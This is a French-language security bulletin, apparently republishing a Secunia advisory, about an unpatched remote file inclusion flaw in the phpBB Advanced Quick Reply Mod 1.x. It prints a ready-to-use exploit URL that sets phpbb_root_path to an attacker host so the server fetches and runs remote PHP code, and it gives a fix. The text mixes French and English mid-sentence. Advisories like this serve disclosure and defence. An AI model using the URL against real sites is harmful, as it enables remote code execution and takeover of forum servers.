Sécurité informatique

SECURINFOS.INFO - Bulletins de sécurité informatique, Alertes et Protection

phpBB Advanced Quick Reply Mod l'exécution de commandes arbitraires

21/01/2007 00H04
Référence Secunia : SA7519 
Date de publication : 2002-11-14

Risque : Elevé. Niveau 4 sur 5.
Impact : Accès au système
Lieu : A distance


Solutions :
Non corrigée


Produit :
phpBB Advanced Quick Reply Mod 1.x

Description :
phpBB Advanced Quick Reply Mod utilise a variable comme le chemin à un fichier de configuration, cela permet à des utilisateurs malicieux à fournir un serveur path à un serveur web distant.

Just enter l'URL suivante pour inclure du code PHP arbitraire:
http://victime/quick_reply.php?phpbb_root_path=http://attacker/&mode=smiles
Ceci va retrieve:
http://attacker/extension.inc


Solutions :
Change the php code, pour que le chemin à extension.inc est hardcoded plutôt que a variable.


Vulnérabilité découverte par :

Luke (HVA)




Les noms, marques et enseignes cités sur ce site sont la propriété de leurs déposants respectifs.